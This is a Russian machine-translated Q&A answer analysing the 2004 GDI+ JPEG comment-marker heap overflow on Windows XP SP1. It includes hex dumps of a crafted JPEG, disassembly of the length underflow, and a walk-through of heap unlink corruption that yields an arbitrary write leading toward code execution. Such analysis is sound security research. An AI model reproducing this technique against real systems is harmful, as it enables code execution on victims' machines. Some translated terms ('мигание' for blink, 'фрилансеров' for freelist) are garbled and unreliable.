Эта уязвимость определенно была переполнением кучи .
Как может запись байтов 0XFFFFFFFE (4 ГБ !!!!) не привести к сбою программы?
Вероятно, так и будет, но в некоторых случаях у вас есть время для использования уязвимости до того, как произойдет сбой (иногда вы можете вернуть программу к нормальному выполнению и избежать сбоя).
При запуске memcpy () копия перезапишет либо некоторые другие блоки кучи, либо некоторые части структуры управления кучей (например, список свободных, список занятости и т. Д.).
В какой-то момент копия обнаружит невыделенную страницу и вызовет AV (нарушение доступа) при записи. Затем GDI + попытается выделить новый блок в куче (см. Ntdll! RtlAllocateHeap ) ... но теперь все структуры кучи испорчены.
На этом этапе, тщательно обработав свое изображение JPEG, вы можете перезаписать структуры управления кучей контролируемыми данными. Когда система пытается выделить новый блок, она, вероятно, отсоединит (свободный) блок от свободного списка.
Блок управляется (в частности) с помощью указателей flink (прямая ссылка; следующий блок в списке) и мигания (обратная ссылка; предыдущий блок в списке). Если вы контролируете и мигание, и мигание, у вас может быть возможность WRITE4 (условие записи What / Where), где вы контролируете, что вы можете писать и где вы можете писать.
На этом этапе вы можете перезаписать указатель функции (указатели SEH [Structured Exception Handlers] были предпочтительной целью в то время, еще в 2004 году) и получить выполнение кода.
См. Сообщение в блоге « Коррупция кучи: пример из практики» .
Примечание: хотя я писал об эксплуатации с использованием списка фрилансеров, злоумышленник может выбрать другой путь, используя другие метаданные кучи («метаданные кучи» - это структуры, используемые системой для управления кучей; мигание и мигание являются частью метаданных кучи), но использование unlink, вероятно, является самым "легким". Поиск в Google по запросу "использование кучи" даст многочисленные исследования по этому поводу.
Записывается ли это за пределы области кучи и в пространство других программ и ОС?
Никогда. Современные ОС основаны на концепции виртуального адресного пространства, поэтому каждый процесс имеет свое собственное виртуальное адресное пространство, которое позволяет адресовать до 4 гигабайт памяти в 32-разрядной системе (на практике у вас только половина ее в пользовательском пространстве, остальное для ядра).
Короче говоря, процесс не может получить доступ к памяти другого процесса (кроме случаев, когда он запрашивает об этом у ядра через какую-то службу / API, но ядро проверяет, имеет ли вызывающий право на это право).
Я решил протестировать эту уязвимость в эти выходные, чтобы мы могли лучше понять, что происходит, а не просто домыслы. Уязвимости сейчас 10 лет, поэтому я подумал, что можно написать об этом, хотя я не объяснил часть эксплуатации в этом ответе.
Планирование
Самой сложной задачей было найти Windows XP только с SP1, как это было в 2004 году :)
Затем я загрузил изображение в формате JPEG, состоящее только из одного пикселя, как показано ниже (вырезано для краткости):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Изображение JPEG состоит из двоичных маркеров (которые вводят сегменты). На изображении выше FF D8
это маркер SOI (начало изображения), а FF E0
, например, маркер приложения.
Первый параметр в сегменте маркера (за исключением некоторых маркеров, таких как SOI) - это параметр двухбайтовой длины, который кодирует количество байтов в сегменте маркера, включая параметр длины и исключая двухбайтовый маркер.
Я просто добавил COM-маркер (0x FFFE
) сразу после SOI, поскольку маркеры не имеют строгого порядка.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
Длина сегмента COM установлена, 00 00
чтобы вызвать уязвимость. Я также ввел байты 0xFFFC сразу после маркера COM с повторяющимся шаблоном, числом 4 байта в шестнадцатеричном формате, что пригодится при «эксплуатации» уязвимости.
Отладка
Двойной щелчок по изображению немедленно вызовет ошибку в оболочке Windows (также известной как "explorer.exe") где-нибудь gdiplus.dll
в функции с именем GpJpegDecoder::read_jpeg_marker()
.
Эта функция вызывается для каждого маркера в изображении, она просто: считывает размер сегмента маркера, выделяет буфер, длина которого является размером сегмента, и копирует содержимое сегмента в этот вновь выделенный буфер.
Вот начало функции:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
Регистр указывает на размер сегмента и edi
представляет собой количество байтов, оставшихся в изображении.
Затем код переходит к чтению размера сегмента, начиная со старшего байта (длина - это 16-битное значение):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
И младший байт:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Как только это будет сделано, размер сегмента используется для выделения буфера после этого вычисления:
alloc_size = размер_сегмента + 2
Это делается с помощью кода ниже:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
В нашем случае, поскольку размер сегмента равен 0, размер, выделенный для буфера, составляет 2 байта .
Уязвимость сразу после выделения:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
Код просто вычитает размер segment_size (длина сегмента составляет 2 байта) из всего размера сегмента (0 в нашем случае) и заканчивается целочисленным недополнением: 0-2 = 0xFFFFFFFE
Затем код проверяет, остались ли байты в изображении для анализа (что верно), а затем переходит к копии:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
Приведенный выше фрагмент показывает, что размер копии составляет 0xFFFFFFFE 32-битных фрагментов. Исходный буфер контролируется (содержимое изображения), а место назначения - буфер в куче.
Условие записи
Копия вызовет исключение нарушения доступа (AV), когда достигнет конца страницы памяти (это может быть указатель источника или указатель назначения). Когда запускается AV, куча уже находится в уязвимом состоянии, потому что копия уже перезаписала все последующие блоки кучи, пока не будет обнаружена не отображенная страница.
Что делает эту ошибку уязвимой, так это то, что 3 SEH (структурированный обработчик исключений; это try / за исключением низкого уровня) перехватывают исключения в этой части кода. Точнее, 1-й SEH размотает стек, чтобы он вернулся к синтаксическому анализу другого маркера JPEG, таким образом полностью пропустив маркер, вызвавший исключение.
Без SEH код просто разрушил бы всю программу. Таким образом, код пропускает сегмент COM и анализирует другой сегмент. Итак, мы возвращаемся к GpJpegDecoder::read_jpeg_marker()
новому сегменту и когда код выделяет новый буфер:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Система отключит блок от бесплатного списка. Бывает, что структуры метаданных были перезаписаны содержимым изображения; поэтому мы контролируем разъединение с помощью контролируемых метаданных. Приведенный ниже код находится где-то в системе (ntdll) в диспетчере кучи:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Теперь мы можем писать что хотим и где хотим ...